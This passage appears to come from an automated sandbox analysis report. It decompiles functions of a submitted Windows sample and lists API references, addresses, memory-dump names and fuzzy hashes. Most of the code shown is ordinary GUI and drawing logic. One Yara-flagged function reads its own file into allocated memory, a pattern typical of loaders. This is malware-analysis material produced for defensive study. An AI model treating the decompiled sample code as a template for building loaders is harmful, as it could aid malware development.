lstrlenA.KERNEL32(00000000), ref: 000FC695
CharNextA.USER32(00000000,?), ref: 000FC6BB
OpenPrinterA.WINSPOOL.DRV(00000000,?,00000000), ref: 000FC6F0

Strings

,,,, xrefs: 000FC672
device, xrefs: 000FC677
windows, xrefs: 000FC67C

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CharCloseNextOpenPrinterPrinter.ProfileStringlstrlen
String ID: ,,,$device$windows
API String ID: 2618371523-1718292371
Opcode ID: f9e7bba600aa9a2e7f95a8bed9d8114534a15d5c2ed86b9cf8d0f76b44b0add0
Instruction ID: b058740a4c02bade7bf265da17486e46bf1a541e046e9b6dcd016e73519db898
Opcode Fuzzy Hash: f9e7bba600aa9a2e7f95a8bed9d8114534a15d5c2ed86b9cf8d0f76b44b0add0
Instruction Fuzzy Hash: C1118EB090430C9FEB659F24DE4DFAABBF8AB15304F108498E544D7591D7B499C4CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00102580 Relevance: 13.7, APIs: 9, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00102580(signed int __eax, signed int __ecx, void* __edx, signed int _a4, intOrPtr _a8) {
				int _v8;
				intOrPtr _v12;
				int _v16;
				void* _v20;
				signed int _v24;
				long _v28;
				void* _v32;
				signed int _t74;
				long _t75;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t85;
				void* _t98;
				void* _t99;
				signed int _t102;
				signed int _t103;
				signed int _t124;
				signed int _t128;
				int _t132;
				long _t133;

				_t124 = __eax;
				_t98 = __edx;
				_t128 = __ecx;
				if(__edx == 0) {
					_v8 = 0;
				} else {
					_t1 = _t98 - 0x24; // -72
					_v8 = _t1;
				}
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				SendMessageA( *(_v8 + 4), 0x434, 0,  &_v32);
				_t102 = _v28;
				_t74 = _v32;
				if( *(_t98 + 0x10) != 0) {
					if(_a8 == 0) {
						 *(_t98 + 0x20) = _t102;
					} else {
						 *(_t98 + 0x20) = _t74;
					}
					 *(_t98 + 0x10) = 0;
				}
				_v24 = _a4;
				if(_t74 != _t102) {
					if(_a8 == 0) {
						_v32 = (0 | _t74 <= 0x00000000) - 0x00000001 & _t74;
					} else {
						_v32 = _t74 + 1;
					}
				}
				asm("sbb esi, esi");
				asm("sbb edi, edi");
				_a4 =  ~_t128 & 0x00000004 |  ~_t124 & 0x00000002;
				_t132 = _v8;
				_t75 = SendMessageA( *(_t132 + 4), 0xe, 0, 0);
				_t103 =  *(_t98 + 0x20);
				_v28 = _t75 + _t103;
				if(_a8 == 0) {
					if(_t103 >= 0) {
						_v28 = 0;
					}
					_a4 = _a4 & 0xfffffffe;
				} else {
					if(_t103 >= 0) {
						_v28 = SendMessageA( *(_t132 + 4), 0xe, 0, 0);
					}
					_a4 = _a4 | 0x00000001;
				}
				_t77 = _t132 + 0x24;
				_v12 = _t77;
				if(_t77 == 0) {
					_v8 = 0;
				} else {
					_v8 = _t77 + 0xffffffdc;
				}
				if(SendMessageA( *(_v8 + 4), 0x44f, _a4,  &_v32) == 0xffffffff) {
					_t80 =  *(_t98 + 0x20);
					if(_t80 <= 0) {
						return 0;
					} else {
						if(_a8 == 0) {
							_v32 = SendMessageA( *(_t132 + 4), 0xe, 0, 0);
							_v28 =  *(_t98 + 0x20);
						} else {
							_v32 = 0;
							_v28 = _t80;
						}
						 *(_t98 + 0x20) =  *(_t98 + 0x20) - SendMessageA( *(_t132 + 4), 0xe, 0, 0);
						_t85 = _v12;
						if(_t85 == 0) {
							_t99 = 0;
						} else {
							_t62 = _t85 - 0x24; // 0xda
							_t99 = _t62;
						}
						_t133 = SendMessageA( *(_t99 + 4), 0x44f, _a4,  &_v32);
						if(_t133 != 0xffffffff) {
							SendMessageA( *(_t99 + 4), 0x437, 0,  &_v20);
						}
						return 0 | _t133 != 0xffffffff;
					}
				} else {
					SendMessageA( *(_v8 + 4), 0x437, 0,  &_v20);
					return 1;
				}
			}

0x00102589
0x0010258b
0x0010258f
0x00102593
0x0010259d
0x00102595
0x00102595
0x00102598
0x00102598
0x001025a5
0x001025a8
0x001025ab
0x001025ae
0x001025b1
0x001025c0
0x001025ca
0x001025cd
0x001025d0
0x001025d6
0x001025dd
0x001025d8
0x001025d8
0x001025d8
0x001025e0
0x001025e0
0x001025ea
0x001025ef
0x001025f5
0x00102607
0x001025f7
0x001025f8
0x001025f8
0x001025f5
0x0010260c
0x00102613
0x00102624
0x00102627
0x00102630
0x00102632
0x0010263b
0x0010263e
0x0010265b
0x0010265d
0x0010265d
0x00102664
0x00102640
0x00102642
0x00102650
0x00102650
0x00102653
0x00102653
0x00102668
0x0010266b
0x00102670
0x0010267a
0x00102672
0x00102675
0x00102675
0x0010269a
0x001026be
0x001026c3
0x00102751
0x001026c9
0x001026cd
0x001026ea
0x001026ed
0x001026cf
0x001026cf
0x001026d6
0x001026d6
0x001026fc
0x001026ff
0x00102704
0x0010270b
0x00102706
0x00102706
0x00102706
0x00102706
0x00102720
0x00102725
0x00102736
0x00102736
0x00102746
0x00102746
0x0010269c
0x001026ae
0x001026bb
0x001026bb

APIs

SendMessageA.USER32(?,00000434,00000000,000F6D4C), ref: 001025C0
SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00102630
SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 0010264E
SendMessageA.USER32(?,0000044F,000000FE,?), ref: 00102695
SendMessageA.USER32(?,00000437,00000000,?), ref: 001026AE
SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 001026E5
SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 001026FA
SendMessageA.USER32(?,0000044F,000000FE,?), ref: 0010271E
SendMessageA.USER32(?,00000437,00000000,?), ref: 00102736

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d0d823df6411082f04776708eedffaf2a85ae19f2f138608c8d50fb86ab8ac27
Instruction ID: 26c7fd8108a2f1dd6fecceb204a47feb11face49c091f2080cff07df2c2ab42a
Opcode Fuzzy Hash: d0d823df6411082f04776708eedffaf2a85ae19f2f138608c8d50fb86ab8ac27
Instruction Fuzzy Hash: A1617271A00209EFDB14CF65CC85BAEB7F4AB48710F218669E955EB2C0D7B5D941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02525CD7 Relevance: 13.7, APIs: 9, Instructions: 173filememoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 02525D33
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 02525D52
GetFileSize.KERNEL32(000000FF,00000000), ref: 02525D74
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 02525D9D
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02525DDE
CloseHandle.KERNEL32(000000FF), ref: 02525E05
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02525E56
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02525F87
CloseHandle.KERNEL32(00000000), ref: 02525FA7

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$Virtual$CloseFreeHandle$AllocCreateModuleNameReadSize
String ID:
API String ID: 2587706029-0
Opcode ID: 063b05f48eae33b258ee2420aae3456a1780917d8fa45e881b3f78093d36c6e2
Instruction ID: 77e122a446dad954a0322f70822b9bb7c8f74760c4c3f1c3f5533cbfc26851f9
Opcode Fuzzy Hash: 063b05f48eae33b258ee2420aae3456a1780917d8fa45e881b3f78093d36c6e2
Instruction Fuzzy Hash: A4814A709056289BDB28CF14DC94BAABBB5FF49306F4081D9E508AB2C1E7789BC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00103450 Relevance: 13.6, APIs: 9, Instructions: 117
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00103450(struct HWND__* __ecx, intOrPtr _a4) {
				signed int _v8;
				struct tagRECT _v24;
				void* _v28;
				void* _v32;
				struct tagPOINT _v40;
				struct HWND__* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				intOrPtr _t43;
				intOrPtr _t54;
				int _t55;
				int _t59;
				struct HWND__* _t66;
				void* _t67;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t87;
				void* _t92;
				void* _t94;
				void* _t95;
				int _t96;
				signed int _t97;

				_t99 = (_t97 & 0xfffffff8) - 0x2c;
				_t41 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t41 ^ (_t97 & 0xfffffff8) - 0x0000002c;
				_t43 = _a4;
				_v44 = __ecx;
				if(_t43 == 0) {
					_t94 = 0;
				} else {
					_t94 = _t43 - 0x24;
				}
				_t5 = _t94 + 4; // 0xffffff00
				_v32 = 0;
				_v28 = 0;
				SendMessageA( *_t5, 0xb0,  &_v32,  &_v28);
				_t11 = _t94 + 4; // 0xffffff00
				_v40.x = 0;
				_v40.y = 0;
				SendMessageA( *_t11, 0xd6,  &_v40, _v32);
				_t15 = _t94 + 4; // 0xffffff00
				ClientToScreen(GetParent( *_t15),  &_v40);
				_t66 = _v44;
				_v24.left = 0;
				_v24.top = 0;
				_v24.right = 0;
				_v24.bottom = 0;
				GetWindowRect(_t66,  &_v24);
				_push(_v40.y);
				_t84 =  &_v24;
				if(PtInRect( &_v24, _v40) != 0) {
					_t75 = _v24.bottom;
					_t54 = _v40.y;
					if(_t54 <= _t75 - _v24.top) {
						_t55 = GetSystemMetrics(1);
						_t87 = _v24.bottom;
						_t96 = _v24.top;
						_t76 = _v40.y;
						_v44 = _t55;
						if(_t87 - _t96 + _t76 < _v44) {
							OffsetRect( &_v24, 0, _t76 - _t96 + 0x28);
							goto L8;
						}
					} else {
						OffsetRect( &_v24, 0, _t54 - _t75 - 0x14);
						L8:
						_t96 = _v24.top;
						_t87 = _v24.bottom;
					}
					_t59 = _v24.left;
					_t84 = _v24.right - _t59;
					_t52 = MoveWindow(_t66, _t59, _t96, _v24.right - _t59, _t87 - _t96, 1);
				}
				_pop(_t92);
				_pop(_t95);
				_pop(_t67);
				return E001059E6(_t52, _t67, _v8 ^ _t99, _t84, _t92, _t95);
			}

0x00103456
0x00103459
0x00103460
0x00103464
0x0010346c
0x00103472
0x00103479
0x00103474
0x00103474
0x00103474
0x0010347b
0x00103494
0x00103498
0x0010349c
0x001034a2
0x001034b1
0x001034b5
0x001034b9
0x001034bb
0x001034cb
0x001034d1
0x001034db
0x001034df
0x001034e3
0x001034e7
0x001034eb
0x001034f9
0x001034fb
0x00103508
0x0010350a
0x0010350e
0x0010351a
0x0010352c
0x00103532
0x00103536
0x0010353a
0x0010353e
0x0010354c
0x0010355a
0x00000000
0x0010355a
0x0010351c
0x0010355a
0x0010355a
0x00103560
0x00103564
0x00103564
0x00103568
0x00103575
0x0010357b
0x0010357b
0x00103585
0x00103586
0x00103587
0x00103592

APIs

SendMessageA.USER32(?,000000B0,?,?), ref: 0010349C
SendMessageA.USER32(?,000000D6,?,?), ref: 001034B9
GetParent.USER32(?), ref: 001034BF
ClientToScreen.USER32(00000000,?), ref: 001034CB
GetWindowRect.USER32 ref: 001034EB
PtInRect.USER32(?,?,?), ref: 00103500
GetSystemMetrics.USER32 ref: 0010352C
OffsetRect.USER32(?,00000000,?), ref: 0010355A
MoveWindow.USER32(?,?,?,?,?,00000001,?,000F6D4C,?,?,?), ref: 0010357B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Rect$MessageSendWindow$ClientMetricsMoveOffsetParentScreenSystem
String ID:
API String ID: 126033273-0
Opcode ID: 2bcee5359d84470d431c7d257e6403c1822120abab16e0afb7af3942e8c17a4e
Instruction ID: 81d3639406458f82b06b9254503eaacf337aee81f68ce38baec027876ead25fb
Opcode Fuzzy Hash: 2bcee5359d84470d431c7d257e6403c1822120abab16e0afb7af3942e8c17a4e
Instruction Fuzzy Hash: 9341E6B5618301AFC305CF29D98486BBBE9FBDC714F008A0DF99593654D770EA85CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 000FF2D0 Relevance: 13.6, APIs: 9, Instructions: 113
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E000FF2D0(long* __ebx, struct HWND__* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed char _v20;
				intOrPtr _v24;
				void* _v28;
				signed int _v32;
				void* _v36;
				void* __edi;
				void* __esi;
				signed int _t37;
				unsigned int _t39;
				signed short _t41;
				intOrPtr _t52;
				signed int _t57;
				long* _t63;
				struct tagPOINT _t65;
				int _t78;
				struct HWND__* _t80;
				signed int _t81;
				void* _t84;
				void* _t85;

				_t63 = __ebx;
				_t37 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t37 ^ _t81;
				_t80 = __ecx;
				_t39 = GetMessagePos();
				_t65 = _t39;
				_t41 = _t39 >> 0x10;
				 *__ebx = 0;
				_v36 = _t65;
				_v32 = _t41;
				if(( *(_t80 + 0x84) & 0x00000001) == 0) {
					ScreenToClient( *(_t80 + 4),  &_v36);
					L14:
					 *0x170bc0 = _v36;
					 *0x170bc4 = _v32;
					return E001059E6(0, _t63, _v8 ^ _t81, _v32, _t78, _t80);
				}
				_t78 =  *(_t80 + 4);
				_push(_t41);
				if(WindowFromPoint(_t65) != _t78) {
					goto L14;
				}
				ScreenToClient(_t78,  &_v36);
				_t78 = SendMessageA( *(_t80 + 4), 0x445, 0,  &_v36);
				_t84 = _v36 -  *0x170bc0; // 0xffffffff
				if(_t84 != 0) {
					L4:
					if(_t78 >= 0 && _t78 < GetMenuItemCount( *(_t80 + 0x44))) {
						_t52 =  *((intOrPtr*)(_t80 + 0x88));
						if(_t78 != _t52 && _t52 != 0xffffffff) {
							_v28 = 0;
							_v24 = 0;
							_v20 = 0;
							_v16 = 0;
							_v12 = 0;
							SendMessageA( *(_t80 + 4), 0x417, _t78,  &_v28);
							if((_v20 & 0x00000004) != 0) {
								 *(_t80 + 0x8c) = _t78 | 0xffff0000;
								_t57 =  *((intOrPtr*)(_t80 + 0xc)) - 1;
								if(_t57 >= 0) {
									_t80 =  *( *((intOrPtr*)(_t80 + 8)) + _t57 * 4);
								} else {
									_t80 = 0;
								}
								_t78 = PostMessageA;
								PostMessageA(_t80, 0x202, 0, (_v32 & 0x0000ffff) << 0x00000010 | _v36 & 0x0000ffff);
								PostMessageA(_t80, 0x100, 0x1b, 0);
								 *_t63 = 1;
							}
						}
					}
					goto L14;
				}
				_t85 = _v32 -  *0x170bc4; // 0xffffffff
				if(_t85 == 0) {
					goto L14;
				}
				goto L4;
			}

0x000ff2d0
0x000ff2d6
0x000ff2dd
0x000ff2e2
0x000ff2e4
0x000ff2ea
0x000ff2f0
0x000ff2f1
0x000ff2fe
0x000ff301
0x000ff304
0x000ff40b
0x000ff411
0x000ff417
0x000ff423
0x000ff434
0x000ff434
0x000ff30a
0x000ff30d
0x000ff317
0x00000000
0x00000000
0x000ff322
0x000ff33d
0x000ff342
0x000ff348
0x000ff359
0x000ff35b
0x000ff373
0x000ff37b
0x000ff38f
0x000ff392
0x000ff395
0x000ff398
0x000ff39b
0x000ff3a9
0x000ff3b3
0x000ff3bb
0x000ff3c4
0x000ff3c5
0x000ff3ce
0x000ff3c7
0x000ff3c7
0x000ff3c7
0x000ff3d9
0x000ff3ed
0x000ff3f9
0x000ff3fb
0x000ff3fb
0x000ff3b3
0x000ff37b
0x00000000
0x000ff35b
0x000ff34d
0x000ff353
0x00000000
0x00000000
0x00000000

APIs

GetMessagePos.USER32 ref: 000FF2E4
WindowFromPoint.USER32(?,00000000), ref: 000FF30F
ScreenToClient.USER32 ref: 000FF322
SendMessageA.USER32(?,00000445,00000000,?), ref: 000FF337
GetMenuItemCount.USER32 ref: 000FF365
SendMessageA.USER32(?,00000417,00000000,?), ref: 000FF3A9
PostMessageA.USER32 ref: 000FF3ED
PostMessageA.USER32 ref: 000FF3F9
ScreenToClient.USER32 ref: 000FF40B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$ClientPostScreenSend$CountFromItemMenuPointWindow
String ID:
API String ID: 407895249-0
Opcode ID: 673d7b9ca702b56d74ff87054300533415ceac18cb508b68536a2d154efa7764
Instruction ID: 29924ae4a4c784465dd376042350ce2723e62385593ded4fc7ffc19ea50ac598
Opcode Fuzzy Hash: 673d7b9ca702b56d74ff87054300533415ceac18cb508b68536a2d154efa7764
Instruction Fuzzy Hash: 2D4159709002199BDB15CF64DD84ABFBBF9FF88700F108529EA55E7A80D7B4A981DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00102D30 Relevance: 13.6, APIs: 9, Instructions: 80
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00102D30(void* __ecx, void* __esi, void* __eflags, struct HDC__** _a4, int _a8, struct HBRUSH__* _a12, struct HDC__* _a16, void* _a20, int _a24, int _a28) {
				void* _v8;
				long _t25;
				int _t35;
				struct HDC__** _t37;
				void* _t38;
				struct HDC__* _t53;

				_t37 = _a4;
				_t53 = CreateCompatibleDC( *_t37);
				_t38 = CreateCompatibleBitmap( *_t37,  *(__esi + 0x90),  *(__esi + 0x94));
				_v8 = SelectObject(_t53, _t38);
				PatBlt(_t53, 0, 0,  *(__esi + 0x90),  *(__esi + 0x94), 0xff0062);
				_t25 = GetSysColor(0x12);
				asm("sbb eax, eax");
				ImageList_Draw( *(__esi + 0x48), _a8, _t53, 0, 0, ( ~(_t25 - 0xffffff) & 0xfffffff0) + 0x10);
				E00103960(_a12, _a16, _a4, _a24, _a28,  *(__esi + 0x90),  *(__esi + 0x94), _t53, _a20);
				_t35 = SelectObject(_t53, _v8);
				if(_t38 != 0) {
					_t35 = DeleteObject(_t38);
				}
				if(_t53 != 0) {
					_t35 = DeleteDC(_t53);
				}
				return _t35;
			}

0x00102d35
0x00102d4f
0x00102d5b
0x00102d70
0x00102d80
0x00102d88
0x00102d98
0x00102dab
0x00102dd6
0x00102de0
0x00102de8
0x00102deb
0x00102deb
0x00102df3
0x00102df6
0x00102df6
0x00102e01

APIs

CreateCompatibleDC.GDI32(00000000), ref: 00102D3C
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00102D55
SelectObject.GDI32(00000000,00000000), ref: 00102D5F
PatBlt.GDI32(00000000,00000000,00000000,?,?,00FF0062), ref: 00102D80
GetSysColor.USER32(00000012), ref: 00102D88
ImageList_Draw.COMCTL32(?,?,00000000,00000000,00000000,-0100000F,?,00102057,?,?,00000000,00000000,?,?,?), ref: 00102DAB

Part of subcall function 00103960: CreateCompatibleDC.GDI32(00000000), ref: 00103998
Part of subcall function 00103960: CreateCompatibleDC.GDI32(?), ref: 001039A8
Part of subcall function 00103960: DeleteDC.GDI32(?), ref: 001039C2

SelectObject.GDI32(00000000,?), ref: 00102DE0
DeleteObject.GDI32(00000000), ref: 00102DEB
DeleteDC.GDI32(00000000), ref: 00102DF6

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CompatibleCreate$DeleteObject$Select$BitmapColorDrawImageList_
String ID:
API String ID: 3641000976-0
Opcode ID: 085084421e966289acc2131c8e7711ca9b247a3271213ad333f9064e46ced537
Instruction ID: d7f8600f62fdeb86867ce0f8997f7cabf440710763e5df3549f4c43ac0629901
Opcode Fuzzy Hash: 085084421e966289acc2131c8e7711ca9b247a3271213ad333f9064e46ced537
Instruction Fuzzy Hash: 63212F71600608AFD714CFA8DD89FAB77BDEB8D740F10860CFA59D3291CA70A8419B30

Uniqueness

Uniqueness Score: -1.00%

Function 000F69C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87
fileCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E000F69C0(void* __ebx, RECT* __edi, struct HDC__* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v24;
				struct tagENHMETAHEADER _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				struct HENHMETAFILE__* _v184;
				int _v188;
				void* __esi;
				signed int _t31;
				signed int _t32;
				void* _t51;
				signed int _t72;
				signed int _t73;
				void* _t74;
				signed int _t75;

				_push(0xffffffff);
				_push(E0010F175);
				_push( *[fs:0x0]);
				_t31 =  *0x159060; // 0x1f9a9bdf
				_t32 = _t31 ^ _t75;
				_v24 = _t32;
				_push(_t72);
				_push(_t32);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_v184 =  *(__ebx + 8);
				_v180 = 0;
				_v176 = 0;
				E00106820( &_v172, 0, 0x6c);
				_v172.iType = 1;
				_v172.nSize = 0x6c;
				GetEnhMetaFileHeader(_v184, 0x6c,  &_v172);
				asm("sbb esi, esi");
				_t73 = _t72 &  &_v172;
				_v188 = MulDiv( *(__ebx + 0x14), __edi->right -  *__edi,  *(_t73 + 0x48));
				OffsetWindowOrgEx(_a4,  ~_v188,  ~(MulDiv( *(__ebx + 0x18), __edi->bottom - __edi->top,  *(_t73 + 0x4c))), 0);
				PlayEnhMetaFile(_a4,  *(__ebx + 8), __edi);
				_push(_v180);
				E001062C2();
				_push(_v176);
				_t51 = E001062C2();
				 *[fs:0x0] = _v16;
				_pop(_t74);
				return E001059E6(_t51, __ebx, _v24 ^ _t75, _a4, __edi, _t74);
			}

0x000f69c3
0x000f69c5
0x000f69d0
0x000f69d7
0x000f69dc
0x000f69de
0x000f69e1
0x000f69e2
0x000f69e6
0x000f69ee
0x000f69fe
0x000f6a04
0x000f6a0a
0x000f6a10
0x000f6a28
0x000f6a32
0x000f6a3c
0x000f6a47
0x000f6a51
0x000f6a6b
0x000f6a8f
0x000f6a9e
0x000f6aaa
0x000f6aab
0x000f6ab6
0x000f6ab7
0x000f6ac2
0x000f6aca
0x000f6ad8

APIs

_memset.LIBCMT ref: 000F6A10
GetEnhMetaFileHeader.GDI32(?,0000006C,?,?,1F9A9BDF), ref: 000F6A3C
MulDiv.KERNEL32(?,?,?), ref: 000F6A5C
MulDiv.KERNEL32(?,?,?), ref: 000F6A77
OffsetWindowOrgEx.GDI32(?,1F9A9BDF,00000000,00000000,?,1F9A9BDF), ref: 000F6A8F
PlayEnhMetaFile.GDI32(?,?), ref: 000F6A9E

Strings

l, xrefs: 000F6A32

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: FileMeta$HeaderOffsetPlayWindow_memset
String ID: l
API String ID: 3114738026-2517025534
Opcode ID: e4e85233323320ed4969e6d0bef9fd8a8aafc0b8205f6e0f2f4ec844915b316a
Instruction ID: 5fea7794de4a33f95bce3d7b7363feb746eb489444326d75fcbb515615d642fb
Opcode Fuzzy Hash: e4e85233323320ed4969e6d0bef9fd8a8aafc0b8205f6e0f2f4ec844915b316a
Instruction Fuzzy Hash: 693150B1A00318EFDB14DF64CD45FABB7B9EB48300F008699B94997684DB70AA94CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00101120 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00101120(intOrPtr _a4) {
				long _v12;
				intOrPtr _v64;
				signed int _v88;
				intOrPtr _v92;
				void* _v96;
				long _t19;
				struct HWND__* _t36;
				int _t37;
				void* _t39;

				_t36 = GetParent( *(_a4 + 4));
				_t19 = SendMessageA(_t36, 0x40c, 0, 0);
				_t37 = 0;
				_v12 = _t19;
				if(_t19 <= 0) {
					return 0;
				} else {
					while(1) {
						_v96 = 0x50;
						_v92 = 0x11;
						E00106820( &_v88, 0, 0x48);
						_t39 = _t39 + 0xc;
						if(SendMessageA(_t36, 0x41d, _t37,  &_v96) != 0 && _v64 ==  *(_a4 + 4)) {
							break;
						}
						_t37 = _t37 + 1;
						if(_t37 < _v12) {
							continue;
						} else {
							L4:
							return 0;
						}
						goto L8;
					}
					if((_v88 & 0x00000200) == 0) {
						goto L4;
					} else {
						PostMessageA(_t36, 0x42b, _t37, 0);
						PostMessageA( *(_a4 + 4), 0x100, 0x28, 0);
						return 1;
					}
				}
				L8:
			}

0x00101140
0x00101148
0x0010114c
0x0010114e
0x00101153
0x001011e3
0x00101159
0x00101159
0x00101161
0x00101168
0x0010116f
0x00101174
0x00101186
0x00000000
0x00000000
0x00101193
0x00101197
0x00000000
0x00101199
0x00101199
0x001011a1
0x001011a1
0x00000000
0x00101197
0x001011ab
